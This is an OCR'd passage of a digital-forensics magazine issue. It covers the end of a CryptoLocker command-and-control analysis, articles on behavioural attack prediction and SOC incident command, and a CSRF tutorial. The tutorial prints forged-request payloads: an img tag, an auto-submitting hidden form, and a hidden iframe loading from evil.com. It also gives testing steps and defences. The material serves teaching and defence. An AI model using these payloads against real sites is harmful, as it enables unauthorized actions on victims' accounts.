The second one is targeting more countries worldwide, but the main goals are the same countries of
the first plus North Carolina.

@ @ www.eForensicsMag.com
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The third one is pretty focused on Italy and Netherland where the attack is compromising a lot of indus-
tries and companies machine.

Botnet 19 Target Mail

Figure 29. Botnet 19 mail numbers

Finally the last one tries to compromise Austria, Belgian and Netherland PC.

We can resume the target countries in the graph below.

Botnet Nation Targets

CA CH DE EG ES FR GB GL ID

m:0 mi19 12

Figure 30. Botnet 20 mail numbers

During the analysis we found also the SMTP accounts used by attackers to spread the malware world-
wide. Below a resume of compromised mail found inside the C&C.

Table 2 Compromised SMTP accounts

AU ES FR GB ID HU I\ IT NL \V4
1 126
12 3 226 1 2 1 2 1
13 355 3 2 591 3
15

We can resume these data in a pie chart with the targeted countries. More of the compromised mail are
from Austria, Italy, UK, Netherland and Spain, but also from some state in USA.

@ @ www.eForensicsMag.com
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SMTP Stolen mail/password

Figure 31. Most target countries

FINANCE IMPACT OF THE CRYPTOLOCKER
How a Ransomware CryptLocker can make you rich?

The right answer is “a lot”. During the analysis we found the main Bitcoin ID where the attackers re-

ceive the money from the infected users. The attackers reached 64.561.58 $ until now in this wallet, but
they are distributing the BTC around other sub-account on every transaction.

Bmﬁlﬂmmmmmpm _.,.
i

Indirizzo Bitcoin

Figure 32. Bitcoin attacker ID on Blockchain

Here is a sample of the BTC-splitting in different sub-account

Figure 33. Other attackers account
We can estimate revenue of million dollars based on the target numbers.

REMEDIATION

To avoid a Cryptolocker infection you must keep antivirus up to date. Every day there is a new variant of
this malware spreading in very different way. Pay attention on the attachments in suspicious mail (doc,
xls, pdf, zip, exe and so on).

To detect the ransomware you can instruct firewall to avoid connections from 46.161.30.1/24.

@ @ www.eForensicsMag.com
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APPENDIX A

This article is mainly focused on the C&C server used by the new Cryptolocker malware.
If you want to know more about the Cryptolocker malware analyses follow this links:

http://www.isightpartners.com/2014/08/analysis-torrentlocker-new-strain-malware-using-components-cryptolocker-cryptowall/
http://www.bleepingcomputer.com/forums/t/549016/torrentlocker-support-and-discussion-thread-cryptolocker-copycat/
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PREDICTING THE NEXT
WAVE OF ATTACKS:

HOW BEHAVIOURAL MODELS MIGHT AUGMENT
CURRENT THREAT ANALYSIS TECHNIQUES

by Anthony Caldwell and Ronan Dunne

It is our social need for more interconnectedness, for education,
for financial and business transactions which has led to the
explosive growth in the number of users online, indeed recent
statistics suggest that approximately one-third of the global
population now uses the Internet (Internet Live Stats, 2014).
Concordantly, the opportunities for the hacker to expose

a private citizen or indeed a corporate entity to risk have

also grown.

What you will learn

» Behavioural models applied to fo-
rensic data may be valuable.

What you will know

« Behavioural factors have the pow-
er to predict future intentions.

large organisations have had a security breach in the previous year in-

curring costs of the order of billions of pounds per annum and increas-
ing (GovUK, 2013). Attacks on US retailer Target (Riley et al., 2014), eBay
(Finkel et al., 2014) and the most high profile of all, the Heartbleed vulnerabili-
ty in OpenSSL (Sullivan, 2014) demonstrate that security is no longer the pur-
view of the security professional, it is part of the mainstream consciousness.
Security practitioners recommend layered approaches to defense, techno-
logical safeguards and security awareness programs collectively termed ‘de-
fense in depth’ however evidence suggests that despite this, sophisticated
targeted attacks still persist. Security practitioners frequently have to analyse
patterns in network traffic so that patterns of attack so that proactive may
steps may be taken to mitigate against further intrusion. Traffic analysis is the
process of intercepting and examining messages in order to deduce informa-
tion from patterns in communication.

R ecent governmental reports from the UK indicated that 93 percent of

ANALYSING NETWORK TRAFFIC

The analysis of network traffic is essentially an inferential technique in which
the security analyst uses network sniffing tools to capture packets in real
time then infer from this data what may be occurring. Essentially, the data
is analysed by a security expert to ascertain if an attack signature is in
progress. The then takes steps to trace back where the attack originates
and implement fixes to prevent further exposure. The standard tool used is

@ @ www.eForensicsMag.com
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WireShark, a network analysis tool which captures packets in real time and allowing the security expert
to inspect individual packets. Packets are exchanged via the Transmission Control Protocol (TCP) three-
way handshake. Three messages are exchanged often referred to as “SYN-SYN-ACK” referring to the
SYN, SYN-ACK, ACK sequence of the handshake used in negotiating a TCP session between two
computers. Figure 1 below shows some standard Wireshark output.

A i * | Exprismon O L e T IF TGS Fowra TPRAM

Figure 1. Wireshark output (Dunne, 2014)

As successful as this approach is when observing network traffic, it is another matter entirely to de-
tect an attack pattern while reviewing this data. For example, network discovery and fingerprinting tools
such as Nmap, NetScanTools and Xprobe can send illegally-formed Internet Control Message Protocol
(ICMP) echo request packets to the target host. The responses received can be used to identify the ap-
plication in use and depending on the number of these requests, could also be a precursor of a Distrib-
uted Denial of Service (DDoS). The intrusion detection system (IDS) is the most commonly used tool to
cross reference the attack signature with known patterns and then report or is used to detect anomalies
in traffic which may be indicative of malicious behaviour.

INTRUSION DETECTION

Detecting intrusions such as the DDoS above requires a combination of knowledge-based approaches
(using signatures) and behaviour-based approaches (using anomalies). By applying research accumu-
lated regarding specific attacks and system vulnerabilities a knowledge-based approach is taken and a
‘signature’ for an attack is created. This is dependent of course on the depth and accuracy of knowledge
loaded into the IDS. Behavior-based intrusions are based on deviations from normal or expected behav-
iour of the system or changes in the actions of users (an anomaly) however higher false alarms are often
a risk (Debar, 2014; Farshchi, 2014).

NEXT GEN FIREWALLS AND TECHNIQUES

Traditional firewalls are limited. They don’t inspect the data payload of network packets and lack the
ability to distinguish one type of network traffic from another (Erdheim, 2013). Next generation firewalls
(NGFW) attempt to solve this by becoming ‘application aware’ using deep packet inspection techniques
to examine traffic for signatures of exploits, vulnerabilities, viruses and malware. However, it would be
misleading to say that signatures or anomalies represent the current and future pattern for a particular
attack, therefore signature and knowledge based analyses, while practical and worthwhile real-time ex-
ercises, may be enhanced via the investigation of relevant behavioural parameters and may allow the
security professional to predict attacks.

PREDICTING ATTACKS

Powerful inferential statistics are available which are aimed at prediction rather than real-time analysis
such as structural equation modeling, path analysis and factor analysis. To try to understand and poten-
tially predict the motivation or attitude of the hacker, behavioural models from psychological research
may be of some value. To begin, the theory of reasoned action relates attitudes to behaviours. As Axelrod
and lliev (2013) point out, knowing when to use a resource to exploit a vulnerability is a matter of choice
which requires a behaviour to be engaged therefore an understanding of behaviour becomes significant
in attack prediction.

BEHAVIOUR
Evolving from the theory of reasoned action (Fishbein and Ajzen, 1975), the theory of planned behav-
ior (Ajzen, 1991) introduced factors relating to attitudes and the ability to predict behaviours. In simple
terms, the greater the intention to engage in a behaviour, the more likely it is that the behaviour will
be performed.

« » www.eForensicsMag.com
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Aftitude Towasd the
Belanone

Erhatisur

( FPeacerved
Bravionral
Canlzel

Figure 2. The theory of reasoned action Figure 3. The theory of planned behaviour

Recent research by Caldwell and McGarvey (2012) noted that attitude-behaviour models have some
value when analyzing the impact of factors which may trigger behaviours in end users to deal with a cy-
berthreat. Surprising results from this survey suggested that end users’ intentions are not significantly
mediated by their attitudes, perceived abilities to prevent threats or perceptions of their peer group.

Imemtion H Tebairsonr ]

Figure 4. Modified model to test user behaviour in response to cyberthreats.

The sample surveyed in Caldwell and McGarvey’s (2012) research was limited to a random sample.
However, a further survey specifically targeted towards hackers may reveal important information as re-
gards their attitude towards attacks which lead to subsequent intentions. This would allow behavioural
signatures to be enhanced by psychological factors also. The combination of psychological factors with
signature and anomaly based techniques allow the security professional to develop models aimed a pre-
dicting a future attack with a certain degree of statistical accuracy. While it is true that models only repre-
sent a limited reflection of reality, progressive research into the psychological drivers of attacks introduce
a new dimension to the analysis of threats beyond the technical.

@ \») www.eForensicsMag.com
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CONCLUSION

Given the volume of data being transferred between applications, analyzing this data is complex and
time consuming. Limitations in IDS and NGFW suggest that despite technological enhancements, while
laudable in their own right, augmentations to the defense in depth strategy which take psychological fac-
tors into consideration may be the next evolution of the security practitioners’ toolkit.
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OPERATIONAL LEVEL
OF DEFENSE

by Filip Nowak

Security operations is subject to constraints, limitations and
constant task reprioritization. This is especially true when
developing Security Operations Center (SOC), shifting between
initial levels of maturity and finding out what really slows down
the effectiveness of the primary objectives. There isa common
belief, that the technology and the “new version of software”
will solve all such issues once and for all, closing the dilemma
between security capabilities and processing power. The next
generation of a security appliance may address some types of
new emerging threats and defense methodology appears to be

a game changer.

What you will learn

* how to differentiate tactical and op-

erational levels of security

» what is the concept of unity of com-

mand

* how to use known techniques to

build better operations

What you should know:

» what is the mission of security op-

erations center

« what is an incident response pro-

cess

« understand common intrusion de-

tection methods

ome believe that having a team of talented SOC analysts operating un-
S der a defined process may be the force multiplier, while others try to re-

search the perfect detection rule to catch the targeted attacks. Like the
name (security operations center) or more broadly (central control room op-
erations) suggests, these operations units suffer from (operations’) diseases.
The question remains: are we operational, and good enough in operations?

THE STORY

In the time of crisis, nobody knows what is really going on and everyone is
trying to find that out, at any price. Some incident responders may overreact
and lose the ability to act and think clearly. Others can stand down and stop
responding, due to stressful situation. This leads to lack of information pro-
vided to the leader, who cannot make a decision and loses control. The ‘fog
of war’ briefly described above is simply the ambiguity in situational aware-
ness experienced by personnel in incident response operations. It is caused
by a number of factors, such as: disinformation on operational level, incom-
plete tactical knowledge, inaccurate data, lack of procedures and protocols,
delays in receiving intelligence, issues with passing orders and friction. More
experienced security personnel know how to behave in such occurrences,
but without a plan and disciplined responders, one cannot bring the control
back and still be effective with threat containment. Even if the security event
is analyzed and the threat remediated, it does not really mean that the adver-
saries’ campaign is over and will never happen again. Without coordination
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and correlation of those security events and responses, a SOC is not capable of tracking and engag-
ing the intruders. It becomes apparent that the operational level of defense is the focal point of incident
management and bring together tactical tasks such as analyzing events, modifying detection rules and
documenting findings to one place, enabling one to accomplish the main strategic objectives.

INTRODUCTION

Modern military theory divides warfare into strategic, operational and tactical levels. In cyber defense
realm strategy is all about planning, general commands and decisions to determine security objectives.
On the operation level these are security division design and built-in defenses. This task is split into tech-
nology, support and processes. On the other side of the fence, the adversaries plan their campaigns, build
their capabilities and collect intelligence. The tactical level is connected with maneuvers and engagements
between malicious actors and network defenders. Tactical level is operated by SOC, and this is where
most of today»s cyber defense attention is focused. Having the capabilities of analyzing number of security
events is a key, but building and tracking campaigns is critical, and keeps the bad guys one step further
from the crown jewels. Acting and building defensive capabilities at the operational level increases overall
defense effectiveness and gives opportunity to be prepared for the next cyber maneuvers. First step in pre-
paring operational level of defense is to define and construct the focal point of security.

INCIDENT COMMAND SYSTEM
The incident management system (or command system) is a model tool for command, control and coordi-
nation during the incident — originally developed by the fire service for managing complex wild land fires.

According to the Excellence in Disaster Management & Humanitarian Assistance, the Incident Com-
mand System (ICS) is a set of personnel, policies, procedures, facilities, and equipment, integrated into
a common organizational structure designed to improve emergency response operations of all types
and complexities. Therefore, it stabilizes the incident, improves efficiency and effectiveness to incident.

The ICS model can be used for small events, but can be also applied for larger incidents and disasters,
that require shift changes, multiple teams and supervisors. The abovementioned framework includes
several sections, such as planning or operations, and is composted with multiple critical ideas. For the
purposes of this article, only the most important concepts will be presented and transferred to security
incident response process in the SOC realm.

CENTER OF GRAVITY (COG)

The CoG is a form of focal point for incident management and is constructed onto the ICS model.
On the operational level of defense, the focal point — or the center of gravity — is maintained by the Inci-
dent Commander (IC). This is the centralizing function that holds the power over the incident command
system, gives the directions, commands and shares knowledge. The IC organizes power from the follow-
ing sources: event analysts’ findings, security analysis findings, threat intelligence, tactical maneuvers,
procedures and protocols.

What needs to be mentioned, is that the incident command system establishes the mission for SOC,
which has to be clearly understood and obeyed by participants. Very often SOC personnel are incorrectly
involved in administration, system maintenance, operations (do not confuse this with tactical actions),
or any other tasks, that are not the primary objectives of cyber defense structure and waste a lot of time
and energy.

Each security incident ends with «post-incident> actions. Apart from security, documentation and sys-
tem related changes, team has to perform <lesson learned> information and evaluate current processes,
procedures and state of skills or knowledge.

The abovementioned main issues for a SOC are divided further into the following categories:

» coordination, communication, shifts turnovers, incident response, escalation
» tasks prioritization, responsibilities, job description, motivation
* knowledge transition, lesson learned, discipline and morale

The CoG addresses these issues using the following mechanisms: unity of command, division of work,
and lessons. Of course, there are a number of other cases that need to be improved, but this article
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focuses on the operational level of incident management. What should be mentioned is the idea that
the CoG presents the main mission of the SOC team. In this perspective, the Center of Gravity for the
intrusion detection team is security monitoring, detection and initial response.

UNITY OF COMMAND

This term, as well as the ‘CoG’ and ‘fog of war’ is the concept taken from military theory and one of basics
ideas behind the ICS. The Unity of Command can be easily described using the following principle: each
individual participating in the security operation reports to only one supervisor. In other words, an em-
ployee must not have many bosses or superiors. If one has to work under the effect of commands from
many managers or leaders, it creates confusion, disorder, lack of discipline, lost control, bad productivity,
longer mean-time-to-know and dilemma. The reader may imagine the situation, when the higher man-
ager issues an order directly to workers bypassing several levels of management or choosing incorrect
Unity of Command. In such situations it is unclear who is in command, if the situational awareness is
complete and accurate, and how to follow procedures. The situation awareness might be better on the
higher levels of command, but when poorly transferred, it is useless and can be perceived as untrust-
worthy with low fidelity. This clearly leads to ineffective incident response.

Figure 1. Unity of Command explained

Advantages of the Unity of Command:

accountability

stronger team work; better shift turnovers, good communication in virtual teams
productivity, eliminating wastes

better situation awareness: accurate, complete and up-to-the-minute
improved flow of information

decrease in mistakes

help with coordination and operational efforts

discipline

avoiding duplication of work between teams in organization

positive attitude among organization, higher morale

help in decision-making process

It is obvious that by enabling clear and easily understood Unity of Command, the management and operational ef-
forts during an incident begin to be efficient. In a SOC environment each event analyst team has to have a team
leader. Team leaders are accountable for shift turnovers, escalations, task distribution, decisions, and day-to-day
routine. They can be first responders and act as Incident Commanders. If a senior leader is available during the in-
cident — and poses appropriate situational awareness — they take control over the response and coordinate work of
multiple teams and sections. Even having strong and trusted structure, no one can really get the work done without
plans, procedures, scripts and some sort of documents.
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INCIDENT ACTION PLANS

Understanding incident response process (incident action plan) is paramount for proper threat contain-
ment and shorter mean time to remediate. Responders should know exactly what is their responsibility,
scope of actions and assigned tasks. Moreover, everyone needs to know the unity of command and un-
derstand their own position in the hierarchy. Procedures should describe what is the escalation path, who
should be informed, what tactical actions should be performed etc. The author finds the documentation
as the most important part of the incident response process. During the ongoing incident, it is crucial to
document tactical findings and inform other engaged individuals about progress or status. What should
be mentioned is the need of technological aspect of incident management — an integrated system that
could maintain notes, documents or versioning. Here are some basic tips on how to construct the reports
during incident:

Use time stamps, versioning and integrity control;

Apply ,who does what’ rule;

Describe further communication plan and mechanism;

Present the origin of findings, update or newly discovered intelligence;
Ensure that commands are clear and the Unity of Command is respected.

Having established the structure of security division and supporting teams, it is necessary to have writ-
ten incident response and coordination plan. Another planning objective is to build a team of security
professionals with appropriate knowledge, skills and attitudes. The problem of analysts and team com-
petencies are beyond this article, but one key aspect needs to be mentioned, i.e. to ensure that security
operations is acting properly each team member should have clearly defined responsibilities — this is
complementary to Unity of Command principle.

INCIDENT RESPONSE PLAN

An incident response plan (IRP) is a prepared response that the security personnel follow to manage
and handle defined events. It is a structured approach to control the situation from the detection, valida-
tion through containment, threat remediation and finally ending with post-incident activities. It is critical
to understand that an IRP is a continuous process, not just an ad hoc action. Whenever the incident es-
calates beyond what the IRP has established, the incident leader create previously described incident
action plan. This is used to coordinate the situation that requires communication between virtual teams
and formulating further strategy. Having a plan is not enough. What matters are the execution of the pre-
pared strategies and presence of qualified responders.

SOC AND CSIRT OPERATIONS

From the historical perspective it is common to see that the Security Operations Centers are perceived
as the cyber watch towers, while the Computer Security Incident Response Team (CIRT) as a dedicated
task force responsible for handling incident and making the investigations. From the author’s experience,
very often there is no clear policy documenting who has ownership and authority over security program,
IRP or defense construction. From the limitations described in the first section of this article (not only fi-
nancial constraints but also visibility and control issues) most SOCs are now responsible for carrying out
network defense monitoring, as well as forensics investigations and incident response actions. This kind
of fusion positively impacts overall detection-response capabilities of security programs. In such situation
the information flow and maintaining up-to-the-minute situation awareness is easier and more effective.
On the other hand, the line between security monitoring-detection and investigation is blurred and harder
to define. It is critical to ensure that the separation of duties principle is used.

DIVISION OF WORK

The full spectrum of tasks, skills sets and responsibilities should be divided, firstly, among departments.
Secondly, work has to be broken down into specific and formalized functions and assigned to individuals.
The division of work principle ensures that all of the participants of daily operations are familiar with their
own assignments and perform clearly described tasks. This approach leads to specializations, which in
turn results in more mature triage, investigation, and better intrusion detection.
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Figure 2. The division of work principle and coordination challenge

However, one can reach a dead end. When this principle is abused, the freelancing may occur, as well
as the functionality gaps and disorders in some circumstances. This is especially true, when the job de-
scription is too ‘tight’ and there is no place for proactivity and creativity. What is more, there may be a risk
when an individual decides to switch to another role or department. The team may end up with insuffi-
cient competencies, which will degrade its overall capabilities and health. The solutions for the problems
of cross-competency and too strict job descriptions are the lessons and knowledge sharing initiatives.

LESSONS

Many organizations tend to follow the ‘one man SOC’ trend. The Ponemon institute reports in the docu-
ment IT Security Jobs Report that 70% of IT security function is understaffed. From author’s perspective
this type of deployment and structure leads to a number of limitations, just to list a few:

most of the time is spent on IT support teams coordination and administration
lack of double verification feature

less investigation time

longer mean-time-to-know and response

reactive, non-creative approach to intrusion detection

less mature threat detection capabilities

worse signal-to-noise ratio

The ‘One man SOC'’ trend applies not only to, literally, a one-man team, but also to SOCs with insufficient
number of specialists. Instead of starting a discussion about business goals, and limitations, it is wise to
think what can be done to make the work more effective for small teams, or personnel in general. Fig-
ure 3. lists a number of ideas, how to address issues like a cross-competency, motivation, low training
budget, capabilities development and understaffed teams. Both cross-competency problem and under-
staffed personnel seems to be contrasting issues.

r o deliver starter-kit for new comers
E:?) use quality analysis to work on individual's competency
o perform lesson learned after each incident

promole leam work by lechnical presentations

@

L

o

hire from mindsct, not technical skills

/L 0 lake parl in projects and service improvement
! o  buildinternal knowledge base
\ /K Y\

create mentoring program

3

L&)

o budget and invite external security lecturers and practitioners

Figure 3. Internal training opportunities
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BATTLE RHYTM

After presenting different levels of cyber defense, defining the focal point of security and major concepts
about operations, it is time to put together the abovementioned ideas into one working mechanism. While
performing day-to-day activities everyone knows how to perform tactical-level actions, document them
and report. In the event of incident all parties engaged in the incident handling procedures follow previ-
ously described principles such as the Unity of Command and the Division of Work. The so-called «battle
rhythm» defines and group all necessary mechanisms from the operational level to make the tactical ef-
ficiency and actions possible and achievable. Without proper coordination, structure and preparation it
would not be possible to address major incidents, advanced adversaries campaigns, detection rules cor-
relation and other defensive objectives.

GUIDELINES
The following advice may be used to start working on structured incident command system or simply
asses and enhance one’s current incident response operational model:

Define the CoG for each security division.

Clarify what is the main focal point of IT security defense capabilities.

Verify your Unity of Command structure, confirm if the main principle is respected.

Check how your incident responders document findings and use the data to build situation aware-
ness.Assess your team competencies, number of specialists, their specializations, and ensure
that appropriate job descriptions are followed.

CONCLUSIONS

This article is a set of ideas for improving operational level of security defense. The most important
of the authons observations after a number of security responses and supporting multiple SOCs is with
the conclusion, that the <operations is really a forgotten and underestimated aspect in todayss central-
ized units. Traditional security centers focus so heavily on tactical tasks, that there is no time and effort to
organize, coordinate and lead a defense. This is a huge stopping factor when it comes to major incidents,
advanced threats, or even steady development. On one hand, there are constraints such as staffing and
budget limitation, but such situation requires better organization and better operations! The author has
clearly presented the concept of an incident command system and its components. The center of gravity
(CoG) gives a meaning, mission and focal point of defense. The Unity of Command and the work divi-
sion show the importance of the structure of security divisions and task assignments. Changing the way
of work and approach to operations is always a challenge, especially in bigger organizations. The author
believes that the best way to deploy changes is through education, and this can be achieved by lesson
learned, quality assessments, and knowledge sharing initiatives. Presented benefits of more organized
operations simply outshine efforts and time spent. At the end of the article the author shares some guide-
lines and ideas, that may be used as a good starting point in building operational level of defense.
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ATTACKVECTOR

by Amit Kumar Sharma

Looking into the world of security there are many attack vectors
with respect to validations of the input in the wild. It is more
prominent in the world of Web Applications but with respect

to the infrastructure each and every thing which accepts an input
is surrounded by a large bag of variety of Attack Vectors. Some of
which are KNOWN to us and some of which are UNKNOWN.

To avoid of what are known to us is do a proper input validation.
Seldom developers are able to cover all the aspects of input
validation which leave the application more vulnerable. Out of
all those vulnerabilities the article extends a little to talk

about a famous Vulnerability “CSRF” and the attack vectors

in concern with it. Once we are clear about CSRF attack and the
attack vectors we will check on how to find the flaw in a web
application while testing with the help of tool in handy from
OWASP known as CSRF Tester.

hen | first heard this term | thought it is very similar to the Initializa-
tion vector of Cryptography but on further reading, it made me clear-

er on what is actually an Attack Vector.

To understand it let us put it in this way that Attack vector is something
which assists in exploiting vulnerability with the help of a Payload.

While surfing | came across a very nice definition of it given by the folks of
Search Security as under.

The thing that was the most important in this definition that attracted me
was the mention of Human element which involves the use of Social En-
gineering and utilizing the people involved in the Defense system of any
Organization to break into them which is easier than breaking into the net-
works of the target.
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There has always been a problem in differentiating between the attack vector and the payload. So if the
attack vector is the Web pages with malicious content, chat rooms, malicious e-mail attachments, etc.
then the payload can be treated as the viruses and executable.

With the advent of Web 2.0, the attack vector also increased dramatically thereby increasing their
range of attacks as well. On being the savior of the world the solution also has to evolve with the evolve-
ment of Attack Vectors as the defenses effective today may be outdated tomorrow.

OWASP has a very beautiful diagram which very nicely depicts the different paths that can be available
to the attacker for exploiting the web application and how the Attack vector can be the starting point of the
overall loss of the Business and the impact on the reputation on the Organizations worldwide.

Threat Attack Security Security Technical Business
Agents Vectors Weaknesses Controls Impacts Impacts
% B Attack Weakness Control Impact

Weaakness Control

% —I Attack

Attack

Function

Waakness

Weakness Hmntrol

Impact

Figure 1. Paths to exploit [2]

INPUT VALIDATION
The weakness of a Web Applications in security arises due to failure in validation of input.

An application is said to be robust against all forms of Attacks which are input based (where a user
is required) if the data is properly validated irrespective of the data flow from any source say it is from the
end user, infrastructure, external entities or databases.

Validation is not just input based but on many various lines like the integrity of the data thereby ensur-
ing that the data before and after the validation are same. These kinds of checks are usually advised to
be implemented whenever the data passes from a trusted to a less trusted boundary, such as from the
application to the user’s browser in a hidden field, or to a third party payment gateway, such as a trans-
action ID used internally upon return. The extent of check is dependent on the criticality of the data.

The other validation of data is where the data is checked for strongly typed, correct syntax, within
length boundaries, contains only permitted characters, or that numbers are correctly signed and with-
in range boundaries.

These kinds of validations should be performed on every tier. However, validation should be performed
as per the function of the server executing the code. For example, the web / presentation tier should vali-
date for web related issues, persistence layers should validate for persistence issues such as SQL injec-
tion, directory lookups should check for LDAP injection, and so on.

Apart from all validation all the Business requirement should be implemented as per the business
rule with proper validations. For example, the rates after discount % are calculated as per the permitted
boundaries. Business rules are known during design, and they influence implementation. The developer
should ensure not to skip any of the validations in terms of the design.

Another strategy which is there is “Accepting what is Good” also known as “whitelist” or “positive” vali-
dation. The concept is to check that the data which is accepted is what is required and not a tampered
one. Any data that doesn’t match should be rejected. For this the developer should ensure that the input
data is:
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Strongly typed at all times

Length checked and fields length minimized
Range checked if a numeric

Unsigned unless required to be signed

///
%

CSRF-CROSS SITE REQUEST FORGERY

CSRF-Cross Site Request Forgery is a serious Vulnerability which was very dominant in the web appli-
cation but with the education of the user and developer it has considerably reduced but still is prevalent
in many web applications in the production environment. OWASP categorized CSRF in its TOP 10 on the
number 5 which moved to number 8 this year. Usually this is a difficult vulnerability to be found because
of its nature. It is a tedious process for the security tester to grab this flaw. So let’s try to make it simpler
to understand the flaw first and then try to find it in a Web Application.

CSRF takes advantage of web application which allows malicious user to predict the way application
has been constructed or the application behavior. For the CSRF attack to be successful, the user should
be logged i.e. authenticated onto that application with an active and a valid session.

Here comes the twist now. The attacker now forces the logged on user (i.e. the browser) to send a re-
quest of his choice and action on the susceptible application; the server processes the request without
validating the source of the request. Forcing here may be tricking the user by sending an email or chat
or making him click on some image tags etc. which can be done using Social Engineering.

Again | would like to mention of the OWASP testing guide who gives an overview of the Vulnerability
and the risk involved with mention to the possible attack vector and the impact.

Business
Impacts

Security

s Technical & o a
Weakness » *

Impacts

-y

Exploitability
AVERAGE

Prevalence
COMMON

Impact
MODERATE

F

Attacker creates
forged HTTP
requests and tricks
a wvictim into
submitting them via
image tags, X85, or
Aumerous other
technigques. If the
USEr is
authenticated, the
.Jattack succeeds.

Consider anyone
who can load
content into your
users’ browsers,
and thus force them
to submit a request
to your website.
Any website or
other HTML feed
that your users
access could do this

C5RF takes advantage of the fact that
maost web apps allow attackers to predict
all the details of a particular action.

Since browsers send credentials like
session cookies automatically, attackers
can create malicious web pages which
generate forged requests that are
indistinguishable fram legitimate ones.

Detection of CSRF flaws is fairly easy via
penetration testing or code analysis.

Attackers can cause
victims to change
any data the victim
is allowed to change
or perfarm any
other function the
victim is authorized
to use, including
state changing
requests, like logout
or even login.

Consider the
business value of
the affected data or
application
functions. Imagine
not being sure if
users intended to
take these actions,

Consider the impact
to your reputation.

Figure 2. CSRF - Showing the attack and the Business impact

Let’'s us understand on how this attack works in detail. For that we have to understand on how is the

normal behavior.

Now in a normal scenario in an HTTP based authentication the browser automatically sends all the in-

formation which is required to identify the session of the user. Once the end user has authenticated him-
self to the website, the server sends back a session cookie which is used to identify the requests sent by
the user who is already authenticated to the website. So once the browser receives that cookie it auto-
matically sends the cookie along with each request which is being generated by the client. It avoids the
process of authenticating the end user multiple times.
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Figure 3. Browser Server Communication and sending of the Session ID’s

ATTACK VECTORS

Let’s us consider a website named www.target.com which we will plan to target. Once the end user au-
thenticates to this web application it gets redirected to www.target.com/user.html which has a form which
has to be submitted by the end user and the data goes to action.html thereby making the URL as www.
target.com/action.html where the data is used by action.html to perform some function say updating the
profile or database or changing the theme for example. Now in the attack scenario we have to perform
the attack in such a way that the attacker fills the data in home.html according to his will and then submits
it action.html without the end user getting to know about this.
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Figure 4. Demonstration of a simple CSRF Attack

This can be achieved in a number of ways:

EMBEDDING A RESOURCE TO AND IMAGE TAG SUCH AS

<img src="http://target.com/action.html?fieldl=foos&field2=bar” width="1" height="1">
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CREATING A FORM IN HTML SUCH AS
Here is an example using an HTML form on the attacker’s site, say http://evi.com/CSRF_attack.html:

<html>

<body onload="document.frames[0].submit ()”>

<form action="http://target.com/action.html” method="POST”>
<input name="fieldl” value="foo”>

<input name="field2” value="bar”>

</form>

</body>

</html>

The attacker would inject the following into the CSRF site:
<iframe width="0” height="0" style="visibility: hidden;”src="http://evil.com/CSRF attack.html”>

A very good plus point for the attacker is to find a web site with a cross-site scripting (Which is really
an easy task....evil laugh) and the same can be used to launch the CSRF attack thereby removing the
headache of hosting an attack page.

PHISHING

This is rather the simplest way to attract the users to be victim of the CSRF attack. Here the attacker has
to lure the user to visit his/her website and make them click on the malicious link or sending out emails with
links showing luring offers and making them click on it to grab there session and perform the CSRF attack.

TESTING FOR CSRF

Yes now this is an interesting part. The CSRF attack is used fraudulently to perform actions on the web ap-
plication which means that all those pages where there is an action to be performed are the ones we have
to test for the CSRF vulnerability. It can be updating the details, transfer of fund, changing of password etc.

We can test the application by ensuring that whether the application’s session management relies on
only client side values such as cookies, http credentials etc. We can include some kind of random tokens
which are generated with the requests through which the server can identify the authenticity of the cli-
ent. Session related information passed in URL in and unpredictable format or not can also be checked.

For testing purpose we use the open source tool like CSRF Tester form OWASP which is a wonderful
tool to find the vulnerable points of CSRF in any web application. There are many other tools also avail-
able to test this vulnerability but you have to decide your weapon and mine is CSRF Tester. It is a simple
tool with an understandable Ul to use and gives very good results.
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Figure 5. A look and feel of OWASP CSRF Tester
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The Following steps are followed to find vulnerability in CSRF Tester.

Configure the application over the same listening port such that the flow that we are going to test is re-

corded onto CSRF Tester

This can be done by configuring the proxy on the default port of CSRF Tester which is 8008.0nce con-
figured it starts listening to the port which can be seen.

Once we are on the action page we click on “Start Recording”.
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Figure 6. Important Buttons to be noticed

Login to the application with valid credentials so that a valid session is created and go through the flow

of actions that is subjected to be tested.

CSREF Tester automatically records the sequence of actions. Click on “Stop Recording” once the ac-

tions are successfully captured.
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Figure 7. Capturing the Actions from the web application
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On Completion click on “Generate HTML” which generates an HTML page with the source code involv-
ing the sequences.

= o file://fC:/Users/Doctor/Desktopy/index.htmi

Figure 8. Saved in an HTML format

Open the HTML page using Notepad/any editor on desktop and modify the values you want to tamper.
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Figure 9. Editing the Source Code with the help of an Editor

Open the HTML page in the browser. (Note: A valid user session should be established)

If the application goes out session, re-login to the application with valid credentials and if we view that
a user within the applications home page and a duplicate account is created successfully then we can
conclude that the application is vulnerable to CSRF.

We can play with the source code and change the values of the different parameters and check on the
impact on the application

EXPLOITATION
Once the Attack is actually performed the next step will be to exploit it. There are varieties of things that
we can do with the help of this attack.

If the attack is successful it can compromise the data and in turn the whole of web application.

There are variety of unauthenticated actions as well that can be performed with the help of CSRF like
voting or something big like launching a DOS attack.

Apart from this CSRF also allows the attacker to launch other attacks like exploiting a Cross Site Script-
ing post authentication or via HTTP POST request.
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RECOMMENDATIONS
Following are some of the industry specified best practices for protecting application against Cross Site
Request Forgery flaw

A random token can be included. The token will act as a unique identifier for the user session.
The token can be present in the hidden HTML field and not the session. It can be appended to
the URL during communication as well. Try making this session details more unpredictable thereby
making the job difficult for the attacker to exploit the same.

Try using POST instead of GET. Yes | know that a simple JavaScript can do the magic but the ex-
ploitation part becomes more difficult for the attacker if the data is sent over POST.

Apart from these it is also important for the education of the user as the weakest link is the HUMAN
link which is more easily exploitable.

It is advised to educate our users not to click on e-mail links to login into the website or any other
website which they don't trust.

Logging out of the application is also a good practice which should be widely followed which thereby
reduces the risk.

Avoid the browser to remember your user credentials or any kind of data related to your LOGIN.
Avoid using the same browser for the surfing of normal internet and important websites to be on saf-
er side.
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http://searchsecurity.techtarget.com/dictionary/definition/1005812/attack-vector.html [1]
http://www.owasp.org [2]
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FROM CRIME SCENE
TO COURTROOM:

COLLABORATION ADDS PRECISION TO THE
INVESTIGATION PROCESS

by Dr. Jim Kent, Global Head of Investigations

and Cybersecurity, Nuix

The digital forensics profession is in the midst of a rapid
evolution. The growing volume of digital evidence from an
increasingly diverse and escalating number of data sources is
forcing the digital forensics community to change the way it
conducts investigations.

O

NUIX

short timelines and limited budgets, law enforcement officers sometimes

depart from standard investigative procedures. However, these investi-
gative shortcuts can have disastrous consequences, especially in the judi-
cial system.

I n tackling this massive explosion of digital evidence, and confronted with

Digital evidence can be challenged in court if the investigator or forensic ex-
